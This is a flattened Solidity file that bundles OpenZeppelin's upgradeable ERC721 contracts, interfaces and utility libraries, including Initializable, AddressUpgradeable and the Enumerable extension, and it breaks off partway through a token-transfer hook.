// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File @openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol@v4.5.1
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721Upgradeable is IERC165Upgradeable {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File @openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol@v4.5.1
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721ReceiverUpgradeable {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File @openzeppelin/contracts-upgradeable/token/ERC721/extensions/IERC721MetadataUpgradeable.sol@v4.5.1
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721MetadataUpgradeable is IERC721Upgradeable {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File @openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol@v4.5.1
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol@v4.5.1
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/Initializable.sol)
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*
* [CAUTION]
* ====
* Avoid leaving a contract uninitialized.
*
* An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation
* contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the
* initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed:
*
* [.hljs-theme-light.nopadding]
* ```
* /// @custom:oz-upgrades-unsafe-allow constructor
* constructor() initializer {}
* ```
* ====
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
// If the contract is initializing we ignore whether _initialized is set in order to support multiple
// inheritance patterns, but we only do this in the context of a constructor, because in other contexts the
// contract may have been reentered.
require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/**
* @dev Modifier to protect an initialization function so that it can only be invoked by functions with the
* {initializer} modifier, directly or indirectly.
*/
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// File @openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol@v4.5.1
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal onlyInitializing {
}
function __Context_init_unchained() internal onlyInitializing {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[50] private __gap;
}
// File @openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol@v4.5.1
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library StringsUpgradeable {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File @openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol@v4.5.1
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {
function __ERC165_init() internal onlyInitializing {
}
function __ERC165_init_unchained() internal onlyInitializing {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165Upgradeable).interfaceId;
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[50] private __gap;
}
// File @openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol@v4.5.1
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable {
using AddressUpgradeable for address;
using StringsUpgradeable for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
function __ERC721_init(string memory name_, string memory symbol_) internal onlyInitializing {
__ERC721_init_unchained(name_, symbol_);
}
function __ERC721_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) {
return
interfaceId == type(IERC721Upgradeable).interfaceId ||
interfaceId == type(IERC721MetadataUpgradeable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721Upgradeable.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721Upgradeable.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
_afterTokenTransfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721Upgradeable.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
_afterTokenTransfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721ReceiverUpgradeable.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[44] private __gap;
}
// File @openzeppelin/contracts-upgradeable/token/ERC721/extensions/IERC721EnumerableUpgradeable.sol@v4.5.1
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721EnumerableUpgradeable is IERC721Upgradeable {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File @openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721EnumerableUpgradeable.sol@v4.5.1
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721EnumerableUpgradeable is Initializable, ERC721Upgradeable, IERC721EnumerableUpgradeable {
function __ERC721Enumerable_init() internal onlyInitializing {
}
function __ERC721Enumerable_init_unchained() internal onlyInitializing {
}
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165Upgradeable, ERC721Upgradeable) returns (bool) {
return interfaceId == type(IERC721EnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Upgradeable.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721EnumerableUpgradeable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
